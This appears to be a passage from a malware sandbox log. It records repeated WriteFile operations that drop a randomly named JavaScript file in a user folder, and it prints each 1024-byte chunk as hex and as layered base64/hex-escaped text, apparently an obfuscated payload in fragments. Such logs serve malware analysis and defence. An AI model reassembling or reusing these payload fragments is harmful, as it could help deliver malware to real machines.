79 58 48 67 31 4e 6c 
78 34 4e 7a 42 63 65 
44 4d 34 58 48 67 7a 
4d 6c 78 34 4e 7a 42 
63 65 44 51 31 58 48 
67 7a 4e 46 78 34 4e 
7a 42 63 65 44 51 31 
58 48 67 

Rlx4NzFceDU2XHgzMVx4
NTmceDY1XH
g1N1x4NjRceDMxXHgyQl
x4NEZceDcx
XHgzNFx4NDVceDmBXH
g0Nlx4NTZceD
YxXHg3NVx4N0FceDQ3X
Hg0Nlx4NjRc
eDc0XHg1NFx4NjlceDMy
XHg3NVx4Nj
lceDczXHgzN1x4NThceD
M0XHgzNlx4
NzJceDZCXHg0Q1x4NER
ceDUyXHg1Nl
x4NzBceDM4XHgzMlx4Nz
BceDQ1XHgz
NFx4NzBceDQ1XHg

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 4e 6c 78 34 4e 7a 4a 
63 65 44 63 30 58 48 
67 7a 4f 56 78 34 4e 
6a 5a 63 65 44 55 33 
58 48 67 30 52 46 78 
34 4e 6a 52 63 65 44 
4d 79 58 48 67 7a 4d 
31 78 34 4e 6a 68 63 
65 44 63 31 58 48 67 
7a 52 56 78 34 4d 6a 
56 63 65 44 51 77 58 
48 67 30 51 6c 78 34 
4e 7a 68 63 65 44 4d 
34 58 48 67 31 4e 56 
78 34 4d 7a 6d 63 65 
44 52 43 58 48 67 33 
4d 46 78 34 4e 7a 5a 
63 65 44 4a 47 58 48 
67 7a 4e 31 78 34 4e 
6b 4e 63 65 44 59 79 
58 48 67 31 4e 6c 78 
34 4e 54 56 63 65 44 
55 34 58 48 67 7a 4e 
46 78 34 4d 7a 5a 63 
65 44 4d 33 58 48 67 
30 4d 6c 78 34 4e 44 
5a 63 65 44 63 31 58 
48 67 33 4f 46 78 34 
4e 6a 6d 63 65 44 52 
45 58 48 67 32 4d 6c 
78 34 4e 7a 6d 63 65 
44 55 35 58 48 67 7a 
4d 56 78 34 4d 7a 6d 
63 65 44 52 47 58 48 
67 30 4d 6c 78 34 4e 
6b 56 63 65 44 59 7a 
58 48 67 

Nlx4NzJceDc0XHgzOVx4
NjZceDU3XH
g0RFx4NjRceDMyXHgzM
1x4NjhceDc1
XHgzRVx4MjVceDQwXHg
0Qlx4NzhceD
M4XHg1NVx4MzmceDRC
XHg3MFx4NzZc
eDJGXHgzN1x4NkNceDY
yXHg1Nlx4NT
VceDU4XHgzNFx4MzZce
DM3XHg0Mlx4
NDZceDc1XHg3OFx4Njm
ceDREXHg2Ml
x4NzmceDU5XHgzMVx4M
zmceDRGXHg0
Mlx4NkVceDYzXHg
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C:\Users\user\fukvowbkrs.js unknown 1024 52 6c 78 34 4e 7a 6d 
63 65 44 4a 43 58 48 
67 33 4e 31 78 34 4e 
6b 56 63 65 44 59 7a 
58 48 67 33 4e 6c 78 
34 4e 7a 4a 63 65 44 
4e 46 58 48 67 79 4e 
56 78 34 4e 44 42 63 
65 44 52 44 58 48 67 
32 52 46 78 34 4d 7a 
4e 63 65 44 55 77 58 
48 67 33 4d 31 78 34 
4e 45 56 63 65 44 55 
7a 58 48 67 30 51 56 
78 34 4e 54 56 63 65 
44 4d 30 58 48 67 30 
51 6c 78 34 4e 6a 68 
63 65 44 63 77 58 48 
67 30 4f 56 78 34 4e 
6b 4a 63 65 44 52 43 
58 48 67 32 51 56 78 
34 4e 7a 4a 63 65 44 
55 35 58 48 67 30 51 
31 78 34 4d 7a 46 63 
65 44 4d 35 58 48 67 
32 4f 46 78 34 4e 54 
42 63 65 44 55 33 58 
48 67 30 51 56 78 34 
4e 55 46 63 65 44 55 
34 58 48 67 7a 4d 31 
78 34 4e 44 4e 63 65 
44 51 79 58 48 67 7a 
4f 56 78 34 4e 45 56 
63 65 44 4d 34 58 48 
67 30 4e 31 78 34 4e 
54 6c 63 65 44 55 30 
58 48 67 

Rlx4NzmceDJCXHg3N1x4
NkVceDYzXH
g3Nlx4NzJceDNFXHgyNV
x4NDBceDRD
XHg2RFx4MzNceDUwXHg
3M1x4NEVceD
UzXHg0QVx4NTVceDM0
XHg0Qlx4Njhc
eDcwXHg0OVx4NkJceDR
CXHg2QVx4Nz
JceDU5XHg0Q1x4MzFce
DM5XHg2OFx4
NTBceDU3XHg0QVx4NUF
ceDU4XHgzM1
x4NDNceDQyXHgzOVx4N
EVceDM4XHg0
N1x4NTlceDU0XHg

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 4d 31 78 34 4e 54 4a 
63 65 44 5a 42 58 48 
67 33 51 56 78 34 4d 
30 56 63 65 44 49 31 
58 48 67 30 4d 46 78 
34 4e 54 6c 63 65 44 
51 30 58 48 67 30 4d 
6c 78 34 4e 45 56 63 
65 44 63 31 58 48 67 
32 4d 6c 78 34 4e 45 
52 63 65 44 52 46 58 
48 67 30 4f 46 78 34 
4d 7a 4e 63 65 44 51 
33 58 48 67 32 4f 46 
78 34 4e 6a 6c 63 65 
44 4d 34 58 48 67 30 
51 31 78 34 4e 44 4e 
63 65 44 59 31 58 48 
67 30 4d 6c 78 34 4e 
7a 68 63 65 44 51 33 
58 48 67 30 4e 31 78 
34 4e 7a 68 63 65 44 
4d 35 58 48 67 7a 4d 
31 78 34 4e 7a 6d 63 
65 44 55 35 58 48 67 
32 52 6c 78 34 4e 6a 
68 63 65 44 59 34 58 
48 67 32 4f 46 78 34 
4e 44 56 63 65 44 51 
32 58 48 67 7a 4d 31 
78 34 4e 54 6c 63 65 
44 6d 42 58 48 67 33 
4d 31 78 34 4e 7a 5a 
63 65 44 5a 45 58 48 
67 7a 4e 56 78 34 4e 
6b 52 63 65 44 4d 30 
58 48 67 

M1x4NTJceDZBXHg3QVx
4M0VceDI1XH
g0MFx4NTlceDQ0XHg0Ml
x4NEVceDc1
XHg2Mlx4NERceDRFXHg
0OFx4MzNceD
Q3XHg2OFx4NjlceDM4XH
g0Q1x4NDNc
eDY1XHg0Mlx4NzhceDQ3
XHg0N1x4Nz
hceDM5XHgzM1x4Nzmce
DU5XHg2Rlx4
NjhceDY4XHg2OFx4NDVc
eDQ2XHgzM1
x4NTlceDmBXHg3M1x4N
zZceDZEXHgz
NVx4NkRceDM0XHg
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C:\Users\user\fukvowbkrs.js unknown 1024 4d 46 78 34 4d 7a 56 
63 65 44 52 45 58 48 
67 33 4d 6c 78 34 4e 
54 6d 63 65 44 51 31 
58 48 67 31 4e 46 78 
34 4e 7a 46 63 65 44 
4d 79 58 48 67 32 52 
46 78 34 4e 54 4a 63 
65 44 55 34 58 48 67 
7a 4d 56 78 34 4e 6a 
4a 63 65 44 56 42 58 
48 67 32 52 46 78 34 
4e 6b 46 63 65 44 55 
32 58 48 67 33 4f 46 
78 34 4e 6b 5a 63 65 
44 6d 42 58 48 67 30 
52 46 78 34 4e 6a 6d 
63 65 44 52 46 58 48 
67 30 4e 6c 78 34 4e 
6a 46 63 65 44 63 33 
58 48 67 7a 4d 56 78 
34 4e 6b 52 63 65 44 
63 30 58 48 67 7a 4d 
6c 78 34 4e 7a 4a 63 
65 44 59 78 58 48 67 
7a 4d 46 78 34 4d 6b 
5a 63 65 44 55 34 58 
48 67 32 4d 31 78 34 
4e 54 42 63 65 44 59 
32 58 48 67 7a 4e 56 
78 34 4e 7a 46 63 65 
44 63 32 58 48 67 33 
51 56 78 34 4d 7a 46 
63 65 44 63 77 58 48 
67 33 4d 6c 78 34 4e 
54 52 63 65 44 4d 34 
58 48 67 

MFx4MzVceDREXHg3Mlx
4NTmceDQ1XH
g1NFx4NzFceDMyXHg2R
Fx4NTJceDU4
XHgzMVx4NjJceDVBXHg
2RFx4NkFceD
U2XHg3OFx4NkZceDmBX
Hg0RFx4Njmc
eDRFXHg0Nlx4NjFceDc3
XHgzMVx4Nk
RceDc0XHgzMlx4NzJceD
YxXHgzMFx4
MkZceDU4XHg2M1x4NTB
ceDY2XHgzNV
x4NzFceDc2XHg3QVx4M
zFceDcwXHg3
Mlx4NTRceDM4XHg

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 4d 6c 78 34 4e 54 5a 
63 65 44 56 42 58 48 
67 31 4f 46 78 34 4e 
44 6c 63 65 44 56 42 
58 48 67 32 4d 31 78 
34 4d 7a 6c 63 65 44 
55 77 58 48 67 30 4e 
56 78 34 4e 44 6d 63 
65 44 59 34 58 48 67 
32 4d 6c 78 34 4e 44 
52 63 65 44 63 77 58 
48 67 32 4f 46 78 34 
4e 55 46 63 65 44 4e 
46 58 48 67 79 4e 56 
78 34 4e 44 42 63 65 
44 63 35 58 48 67 33 
4d 6c 78 34 4e 6b 52 
63 65 44 4a 47 58 48 
67 31 4d 6c 78 34 4d 
7a 6d 63 65 44 63 7a 
58 48 67 33 4e 31 78 
34 4e 6b 52 63 65 44 
59 30 58 48 67 31 4e 
46 78 34 4e 6b 4a 63 
65 44 59 78 58 48 67 
7a 4f 56 78 34 4e 6a 
56 63 65 44 52 46 58 
48 67 31 4e 56 78 34 
4e 6a 4a 63 65 44 59 
34 58 48 67 32 51 6c 
78 34 4e 7a 4e 63 65 
44 51 33 58 48 67 32 
4f 46 78 34 4e 7a 5a 
63 65 44 63 30 58 48 
67 30 4e 31 78 34 4d 
6b 4a 63 65 44 59 34 
58 48 67 

Mlx4NTZceDVBXHg1OFx
4NDlceDVBXH
g2M1x4MzlceDUwXHg0N
Vx4NDmceDY4
XHg2Mlx4NDRceDcwXHg
2OFx4NUFceD
NFXHgyNVx4NDBceDc5X
Hg3Mlx4NkRc
eDJGXHg1Mlx4MzmceDc
zXHg3N1x4Nk
RceDY0XHg1NFx4NkJce
DYxXHgzOVx4
NjVceDRFXHg1NVx4NjJc
eDY4XHg2Ql
x4NzNceDQ3XHg2OFx4N
zZceDc0XHg0
N1x4MkJceDY4XHg
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C:\Users\user\fukvowbkrs.js unknown 1024 52 46 78 34 4e 6a 52 
63 65 44 55 78 58 48 
67 33 4d 31 78 34 4e 
7a 52 63 65 44 56 42 
58 48 67 32 4e 56 78 
34 4e 7a 4a 63 65 44 
63 33 58 48 67 30 52 
56 78 34 4e 6a 4a 63 
65 44 4d 78 58 48 67 
30 4e 6c 78 34 4d 7a 
4a 63 65 44 63 32 58 
48 67 30 4e 6c 78 34 
4e 54 56 63 65 44 55 
33 58 48 67 7a 4d 31 
78 34 4e 30 46 63 65 
44 55 32 58 48 67 30 
4e 46 78 34 4e 45 46 
63 65 44 55 78 58 48 
67 7a 4e 56 78 34 4d 
7a 52 63 65 44 51 30 
58 48 67 31 4d 31 78 
34 4d 7a 46 63 65 44 
55 32 58 48 67 7a 4d 
6c 78 34 4d 6b 5a 63 
65 44 63 30 58 48 67 
31 4d 56 78 34 4e 54 
5a 63 65 44 4d 79 58 
48 67 32 4d 6c 78 34 
4d 7a 4e 63 65 44 5a 
42 58 48 67 30 4d 6c 
78 34 4e 54 56 63 65 
44 55 31 58 48 67 30 
4f 46 78 34 4e 45 46 
63 65 44 51 31 58 48 
67 32 51 56 78 34 4e 
54 5a 63 65 44 5a 42 
58 48 67 

RFx4NjRceDUxXHg3M1x4
NzRceDVBXH
g2NVx4NzJceDc3XHg0RV
x4NjJceDMx
XHg0Nlx4MzJceDc2XHg0
Nlx4NTVceD
U3XHgzM1x4N0FceDU2X
Hg0NFx4NEFc
eDUxXHgzNVx4MzRceDQ
0XHg1M1x4Mz
FceDU2XHgzMlx4MkZceD
c0XHg1MVx4
NTZceDMyXHg2Mlx4MzN
ceDZBXHg0Ml
x4NTVceDU1XHg0OFx4N
EFceDQ1XHg2
QVx4NTZceDZBXHg

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 4d 6c 78 34 4e 6b 4a 
63 65 44 55 78 58 48 
67 31 4d 6c 78 34 4e 
7a 5a 63 65 44 5a 43 
58 48 67 7a 4e 31 78 
34 4e 6b 56 63 65 44 
63 31 58 48 67 32 4e 
31 78 34 4e 6b 46 63 
65 44 59 7a 58 48 67 
30 51 6c 78 34 4d 7a 
6c 63 65 44 51 33 58 
48 67 33 4d 46 78 34 
4e 54 52 63 65 44 63 
78 58 48 67 7a 4f 56 
78 34 4e 44 4e 63 65 
44 51 7a 58 48 67 33 
4e 56 78 34 4e 54 5a 
63 65 44 5a 44 58 48 
67 33 4f 46 78 34 4d 
7a 42 63 65 44 63 77 
58 48 67 30 52 46 78 
34 4e 7a 4a 63 65 44 
52 47 58 48 67 33 4d 
46 78 34 4e 55 46 63 
65 44 51 30 58 48 67 
31 4e 6c 78 34 4e 6a 
68 63 65 44 4d 78 58 
48 67 33 4d 31 78 34 
4e 6b 56 63 65 44 4d 
31 58 48 67 32 51 56 
78 34 4e 54 5a 63 65 
44 59 7a 58 48 67 31 
4d 56 78 34 4e 44 68 
63 65 44 52 47 58 48 
67 7a 4d 56 78 34 4d 
7a 4a 63 65 44 4d 78 
58 48 67 

Mlx4NkJceDUxXHg1Mlx4
NzZceDZCXH
gzN1x4NkVceDc1XHg2N1
x4NkFceDYz
XHg0Qlx4MzlceDQ3XHg3
MFx4NTRceD
cxXHgzOVx4NDNceDQzX
Hg3NVx4NTZc
eDZDXHg3OFx4MzBceDc
wXHg0RFx4Nz
JceDRGXHg3MFx4NUFce
DQ0XHg1Nlx4
NjhceDMxXHg3M1x4NkVc
eDM1XHg2QV
x4NTZceDYzXHg1MVx4N
DhceDRGXHgz
MVx4MzJceDMxXHg
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C:\Users\user\fukvowbkrs.js unknown 1024 51 56 78 34 4d 7a 46 
63 65 44 51 7a 58 48 
67 31 4d 46 78 34 4d 
6b 4a 63 65 44 55 35 
58 48 67 33 4e 31 78 
34 4d 7a 46 63 65 44 
4a 47 58 48 67 30 4d 
31 78 34 4d 7a 42 63 
65 44 55 7a 58 48 67 
33 4e 6c 78 34 4e 54 
6c 63 65 44 55 30 58 
48 67 7a 4d 56 78 34 
4e 44 5a 63 65 44 59 
7a 58 48 67 33 4e 31 
78 34 4e 54 52 63 65 
44 4d 33 58 48 67 7a 
4e 6c 78 34 4e 45 4a 
63 65 44 4d 32 58 48 
67 30 4e 6c 78 34 4e 
6b 4e 63 65 44 5a 47 
58 48 67 32 4e 46 78 
34 4e 7a 6d 63 65 44 
63 7a 58 48 67 7a 4f 
56 78 34 4e 45 46 63 
65 44 4d 78 58 48 67 
31 4f 46 78 34 4e 6a 
4a 63 65 44 63 77 58 
48 67 31 4f 56 78 34 
4e 44 68 63 65 44 4d 
32 58 48 67 30 52 46 
78 34 4e 45 5a 63 65 
44 56 42 58 48 67 32 
52 46 78 34 4d 7a 4a 
63 65 44 55 33 58 48 
67 32 4d 6c 78 34 4e 
54 6d 63 65 44 51 31 
58 48 67 

QVx4MzFceDQzXHg1MFx
4MkJceDU5XH
g3N1x4MzFceDJGXHg0M
1x4MzBceDUz
XHg3Nlx4NTlceDU0XHgz
MVx4NDZceD
YzXHg3N1x4NTRceDM3X
HgzNlx4NEJc
eDM2XHg0Nlx4NkNceDZ
GXHg2NFx4Nz
mceDczXHgzOVx4NEFce
DMxXHg1OFx4
NjJceDcwXHg1OVx4NDhc
eDM2XHg0RF
x4NEZceDVBXHg2RFx4M
zJceDU3XHg2
Mlx4NTmceDQ1XHg

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 4e 56 78 34 4d 7a 6d 
63 65 44 55 34 58 48 
67 33 4e 6c 78 34 4e 
45 52 63 65 44 4a 43 
58 48 67 7a 4e 6c 78 
34 4e 54 68 63 65 44 
4d 32 58 48 67 79 52 
6c 78 34 4e 45 56 63 
65 44 4d 79 58 48 67 
79 52 6c 78 34 4e 6a 
46 63 65 44 51 79 58 
48 67 30 52 56 78 34 
4e 45 46 63 65 44 63 
30 58 48 67 32 4e 6c 
78 34 4d 6b 5a 63 65 
44 5a 45 58 48 67 31 
4f 46 78 34 4d 7a 6d 
63 65 44 59 78 58 48 
67 32 4e 6c 78 34 4e 
6a 5a 63 65 44 4d 31 
58 48 67 7a 4d 31 78 
34 4e 6b 4e 63 65 44 
4a 47 58 48 67 7a 4f 
56 78 34 4d 6b 5a 63 
65 44 52 45 58 48 67 
7a 4e 31 78 34 4e 6b 
56 63 65 44 63 32 58 
48 67 32 4e 6c 78 34 
4e 7a 52 63 65 44 4a 
43 58 48 67 31 4d 56 
78 34 4e 7a 4e 63 65 
44 55 77 58 48 67 32 
52 56 78 34 4e 6a 6d 
63 65 44 51 33 58 48 
67 33 4e 31 78 34 4e 
54 6d 63 65 44 63 78 
58 48 67 

NVx4MzmceDU4XHg3Nlx
4NERceDJCXH
gzNlx4NThceDM2XHgyRlx
4NEVceDMy
XHgyRlx4NjFceDQyXHg0
RVx4NEFceD
c0XHg2Nlx4MkZceDZEXH
g1OFx4Mzmc
eDYxXHg2Nlx4NjZceDM1
XHgzM1x4Nk
NceDJGXHgzOVx4MkZce
DREXHgzN1x4
NkVceDc2XHg2Nlx4NzRc
eDJCXHg1MV
x4NzNceDUwXHg2RVx4Nj
mceDQ3XHg3
N1x4NTmceDcxXHg
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C:\Users\user\fukvowbkrs.js unknown 1024 4f 56 78 34 4e 45 52 
63 65 44 51 33 58 48 
67 33 4d 31 78 34 4e 
45 52 63 65 44 63 79 
58 48 67 30 4e 31 78 
34 4e 45 56 63 65 44 
4d 33 58 48 67 32 4f 
46 78 34 4e 6a 6d 63 
65 44 51 79 58 48 67 
7a 4f 46 78 34 4e 7a 
5a 63 65 44 59 7a 58 
48 67 7a 4e 6c 78 34 
4d 30 56 63 65 44 49 
31 58 48 67 30 4d 46 
78 34 4e 55 46 63 65 
44 52 43 58 48 67 31 
4f 56 78 34 4e 6a 46 
63 65 44 4d 7a 58 48 
67 30 52 6c 78 34 4e 
6a 52 63 65 44 51 30 
58 48 67 30 4d 31 78 
34 4d 30 56 63 65 44 
49 31 58 48 67 30 4d 
46 78 34 4e 6a 4a 63 
65 44 55 34 58 48 67 
32 4e 31 78 34 4e 45 
46 63 65 44 55 78 58 
48 67 33 4e 31 78 34 
4e 7a 5a 63 65 44 59 
30 58 48 67 32 4d 56 
78 34 4e 44 4e 63 65 
44 55 32 58 48 67 32 
4e 31 78 34 4d 7a 4a 
63 65 44 6d 42 58 48 
67 30 4e 6c 78 34 4e 
44 68 63 65 44 55 78 
58 48 67 

OVx4NERceDQ3XHg3M1
x4NERceDcyXH
g0N1x4NEVceDM3XHg2O
Fx4NjmceDQy
XHgzOFx4NzZceDYzXHg
zNlx4M0VceD
I1XHg0MFx4NUFceDRCX
Hg1OVx4NjFc
eDMzXHg0Rlx4NjRceDQ0
XHg0M1x4M0
VceDI1XHg0MFx4NjJceD
U4XHg2N1x4
NEFceDUxXHg3N1x4NzZ
ceDY0XHg2MV
x4NDNceDU2XHg2N1x4M
zJceDmBXHg0
Nlx4NDhceDUxXHg

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 63 65 44 4d 79 58 48 
67 32 52 6c 78 34 4e 
54 56 63 65 44 59 34 
58 48 67 31 4f 56 78 
34 4e 7a 6c 63 65 44 
52 46 58 48 67 33 4e 
46 78 34 4d 7a 42 63 
65 44 5a 46 58 48 67 
31 51 56 78 34 4d 7a 
42 63 65 44 52 42 58 
48 67 31 4f 56 78 34 
4e 7a 6c 63 65 44 52 
45 58 48 67 32 4e 46 
78 34 4e 7a 46 63 65 
44 63 33 58 48 67 30 
52 46 78 34 4e 7a 52 
63 65 44 5a 45 58 48 
67 7a 4e 56 78 34 4e 
45 56 63 65 44 52 45 
58 48 67 7a 4e 31 78 
34 4e 55 46 63 65 44 
63 31 58 48 67 7a 4f 
56 78 34 4e 6a 4a 63 
65 44 56 42 58 48 67 
7a 52 56 78 34 4d 6a 
56 63 65 44 51 77 58 
48 67 32 51 31 78 34 
4e 30 46 63 65 44 55 
7a 58 48 67 7a 4d 31 
78 34 4e 6a 4a 63 65 
44 59 79 58 48 67 32 
52 6c 78 34 4e 7a 4e 
63 65 44 52 43 58 48 
67 32 4e 6c 78 34 4e 
6b 52 63 65 44 4e 46 
58 48 67 79 4e 56 78 
34 4e 44 

ceDMyXHg2Rlx4NTVceD
Y4XHg1OVx4N
zlceDRFXHg3NFx4MzBce
DZFXHg1QVx
4MzBceDRBXHg1OVx4Nz
lceDREXHg2N
Fx4NzFceDc3XHg0RFx4N
zRceDZEXHg
zNVx4NEVceDREXHgzN1
x4NUFceDc1X
HgzOVx4NjJceDVBXHgzR
Vx4MjVceDQ
wXHg2Q1x4N0FceDUzXH
gzM1x4NjJce
DYyXHg2Rlx4NzNceDRC
XHg2Nlx4NkR
ceDNFXHgyNVx4ND
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C:\Users\user\fukvowbkrs.js unknown 1024 45 4a 63 65 44 59 78 
58 48 67 33 4f 56 78 
34 4e 6b 56 63 65 44 
52 43 58 48 67 31 4d 
31 78 34 4e 6a 5a 63 
65 44 51 34 58 48 67 
31 4e 56 78 34 4e 6a 
56 63 65 44 6d 42 58 
48 67 32 4e 56 78 34 
4e 7a 46 63 65 44 59 
30 58 48 67 33 4e 56 
78 34 4e 6a 56 63 65 
44 51 32 58 48 67 32 
4f 46 78 34 4e 54 6c 
63 65 44 4d 79 58 48 
67 32 52 46 78 34 4e 
54 5a 63 65 44 63 30 
58 48 67 7a 4e 6c 78 
34 4e 7a 56 63 65 44 
4d 32 58 48 67 33 4f 
56 78 34 4d 7a 52 63 
65 44 63 31 58 48 67 
7a 4f 46 78 34 4e 54 
68 63 65 44 55 33 58 
48 67 32 4e 56 78 34 
4e 45 4a 63 65 44 63 
78 58 48 67 7a 4d 6c 
78 34 4e 6b 5a 63 65 
44 4d 79 58 48 67 32 
52 56 78 34 4d 7a 56 
63 65 44 63 32 58 48 
67 32 52 46 78 34 4e 
54 46 63 65 44 5a 42 
58 48 67 32 51 56 78 
34 4e 44 4a 63 65 44 
59 78 58 48 67 32 4e 
31 78 34 

EJceDYxXHg3OVx4NkVc
eDRCXHg1M1x
4NjZceDQ4XHg1NVx4NjV
ceDmBXHg2N
Vx4NzFceDY0XHg3NVx4
NjVceDQ2XHg
2OFx4NTlceDMyXHg2RFx
4NTZceDc0X
HgzNlx4NzVceDM2XHg3
OVx4MzRceDc
1XHgzOFx4NThceDU3XH
g2NVx4NEJce
DcxXHgzMlx4NkZceDMyX
Hg2RVx4MzV
ceDc2XHg2RFx4NTFceDZ
BXHg2QVx4N
DJceDYxXHg2N1x4

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 30 46 63 65 44 55 35 
58 48 67 33 4f 56 78 
34 4e 7a 46 63 65 44 
63 78 58 48 67 30 4e 
56 78 34 4e 44 4a 63 
65 44 4d 33 58 48 67 
32 51 31 78 34 4d 7a 
6d 63 65 44 63 78 58 
48 67 33 4d 31 78 34 
4e 6a 6d 63 65 44 51 
34 58 48 67 33 4d 56 
78 34 4e 6b 46 63 65 
44 51 33 58 48 67 33 
4e 56 78 34 4e 7a 46 
63 65 44 63 78 58 48 
67 30 51 31 78 34 4e 
55 46 63 65 44 63 34 
58 48 67 31 4e 46 78 
34 4e 44 5a 63 65 44 
55 34 58 48 67 32 4d 
31 78 34 4d 7a 46 63 
65 44 51 33 58 48 67 
32 4e 46 78 34 4e 54 
52 63 65 44 55 77 58 
48 67 30 4f 56 78 34 
4e 45 5a 63 65 44 59 
30 58 48 67 30 4f 46 
78 34 4e 54 6c 63 65 
44 56 42 58 48 67 30 
52 56 78 34 4e 7a 5a 
63 65 44 55 34 58 48 
67 30 4e 6c 78 34 4d 
7a 4a 63 65 44 55 32 
58 48 67 32 51 31 78 
34 4d 7a 5a 63 65 44 
63 32 58 48 67 32 4d 
56 78 34 

0FceDU5XHg3OVx4NzFc
eDcxXHg0NVx
4NDJceDM3XHg2Q1x4Mz
mceDcxXHg3M
1x4NjmceDQ4XHg3MVx4
NkFceDQ3XHg
3NVx4NzFceDcxXHg0Q1x
4NUFceDc4X
Hg1NFx4NDZceDU4XHg2
M1x4MzFceDQ
3XHg2NFx4NTRceDUwXH
g0OVx4NEZce
DY0XHg0OFx4NTlceDVB
XHg0RVx4NzZ
ceDU4XHg0Nlx4MzJceDU
2XHg2Q1x4M
zZceDc2XHg2MVx4
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C:\Users\user\fukvowbkrs.js unknown 1024 54 4e 63 65 44 55 79 
58 48 67 31 4d 31 78 
34 4d 30 56 63 65 44 
49 31 58 48 67 30 4d 
46 78 34 4d 7a 46 63 
65 44 51 32 58 48 67 
33 4d 31 78 34 4e 7a 
4e 63 65 44 55 79 58 
48 67 33 4d 31 78 34 
4e 6b 46 63 65 44 55 
35 58 48 67 33 4f 56 
78 34 4e 54 42 63 65 
44 4d 32 58 48 67 7a 
4f 46 78 34 4e 6b 52 
63 65 44 55 35 58 48 
67 7a 52 56 78 34 4d 
6a 56 63 65 44 51 77 
58 48 67 30 4e 56 78 
34 4e 7a 4e 63 65 44 
5a 43 58 48 67 32 52 
56 78 34 4e 54 6c 63 
65 44 4d 30 58 48 67 
32 4d 31 78 34 4e 44 
5a 63 65 44 59 79 58 
48 67 30 4d 31 78 34 
4e 7a 6c 63 65 44 4d 
77 58 48 67 33 4e 46 
78 34 4d 7a 5a 63 65 
44 63 34 58 48 67 32 
51 6c 78 34 4e 6a 52 
63 65 44 59 34 58 48 
67 33 4e 31 78 34 4e 
45 52 63 65 44 63 77 
58 48 67 32 4d 56 78 
34 4e 45 52 63 65 44 
51 30 58 48 67 32 4f 
56 78 34 

TNceDUyXHg1M1x4M0Vc
eDI1XHg0MFx
4MzFceDQ2XHg3M1x4Nz
NceDUyXHg3M
1x4NkFceDU5XHg3OVx4
NTBceDM2XHg
zOFx4NkRceDU5XHgzRV
x4MjVceDQwX
Hg0NVx4NzNceDZCXHg2
RVx4NTlceDM
0XHg2M1x4NDZceDYyXH
g0M1x4Nzlce
DMwXHg3NFx4MzZceDc4
XHg2Qlx4NjR
ceDY4XHg3N1x4NERceD
cwXHg2MVx4N
ERceDQ0XHg2OVx4

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 54 5a 63 65 44 55 30 
58 48 67 32 4d 56 78 
34 4e 6a 4e 63 65 44 
63 79 58 48 67 30 4d 
31 78 34 4e 54 42 63 
65 44 5a 44 58 48 67 
31 4f 56 78 34 4d 7a 
6d 63 65 44 52 46 58 
48 67 32 51 31 78 34 
4e 7a 46 63 65 44 4d 
32 58 48 67 32 4e 46 
78 34 4d 7a 4a 63 65 
44 5a 44 58 48 67 7a 
4e 31 78 34 4e 7a 6c 
63 65 44 63 30 58 48 
67 31 4e 56 78 34 4e 
7a 52 63 65 44 59 79 
58 48 67 32 52 6c 78 
34 4e 6b 4a 63 65 44 
59 31 58 48 67 31 4e 
31 78 34 4d 7a 4e 63 
65 44 55 7a 58 48 67 
33 4d 31 78 34 4e 7a 
46 63 65 44 51 31 58 
48 67 7a 4e 6c 78 34 
4e 45 4e 63 65 44 51 
30 58 48 67 33 4f 56 
78 34 4e 44 4a 63 65 
44 4d 78 58 48 67 79 
51 6c 78 34 4e 6a 56 
63 65 44 52 44 58 48 
67 30 4f 46 78 34 4e 
45 46 63 65 44 55 35 
58 48 67 33 4d 46 78 
34 4e 7a 4a 63 65 44 
51 32 58 48 67 33 4d 
56 78 34 

TZceDU0XHg2MVx4NjNce
DcyXHg0M1x
4NTBceDZDXHg1OVx4Mz
mceDRFXHg2Q
1x4NzFceDM2XHg2NFx4
MzJceDZDXHg
zN1x4NzlceDc0XHg1NVx
4NzRceDYyX
Hg2Rlx4NkJceDY1XHg1N
1x4MzNceDU
zXHg3M1x4NzFceDQ1XH
gzNlx4NENce
DQ0XHg3OVx4NDJceDM
xXHgyQlx4NjV
ceDRDXHg0OFx4NEFceD
U5XHg3MFx4N
zJceDQ2XHg3MVx4
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C:\Users\user\fukvowbkrs.js unknown 1024 6a 4e 63 65 44 59 7a 
58 48 67 7a 4e 46 78 
34 4d 7a 5a 63 65 44 
55 78 58 48 67 32 4d 
6c 78 34 4e 6b 52 63 
65 44 56 42 58 48 67 
33 4f 46 78 34 4d 7a 
4e 63 65 44 5a 44 58 
48 67 30 51 56 78 34 
4e 45 4e 63 65 44 52 
46 58 48 67 30 51 31 
78 34 4e 45 46 63 65 
44 59 78 58 48 67 31 
4e 46 78 34 4d 7a 46 
63 65 44 52 42 58 48 
67 7a 4d 6c 78 34 4d 
7a 6c 63 65 44 55 33 
58 48 67 32 4d 6c 78 
34 4e 44 6c 63 65 44 
5a 47 58 48 67 7a 4d 
6c 78 34 4d 7a 42 63 
65 44 55 77 58 48 67 
33 4d 46 78 34 4d 7a 
5a 63 65 44 51 35 58 
48 67 30 4e 46 78 34 
4e 54 42 63 65 44 51 
34 58 48 67 31 4e 31 
78 34 4e 55 46 63 65 
44 55 7a 58 48 67 30 
51 31 78 34 4e 54 4a 
63 65 44 63 30 58 48 
67 30 51 56 78 34 4d 
7a 5a 63 65 44 52 46 
58 48 67 7a 4f 46 78 
34 4e 6a 6c 63 65 44 
63 33 58 48 67 7a 4d 
6c 78 34 

jNceDYzXHgzNFx4MzZce
DUxXHg2Mlx
4NkRceDVBXHg3OFx4Mz
NceDZDXHg0Q
Vx4NENceDRFXHg0Q1x4
NEFceDYxXHg
1NFx4MzFceDRBXHgzMl
x4MzlceDU3X
Hg2Mlx4NDlceDZGXHgzM
lx4MzBceDU
wXHg3MFx4MzZceDQ5X
Hg0NFx4NTBce
DQ4XHg1N1x4NUFceDUz
XHg0Q1x4NTJ
ceDc0XHg0QVx4MzZceD
RFXHgzOFx4N
jlceDc3XHgzMlx4

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 44 42 63 65 44 4d 35 
58 48 67 31 4d 56 78 
34 4e 7a 52 63 65 44 
4d 78 58 48 67 7a 4e 
31 78 34 4e 6a 5a 63 
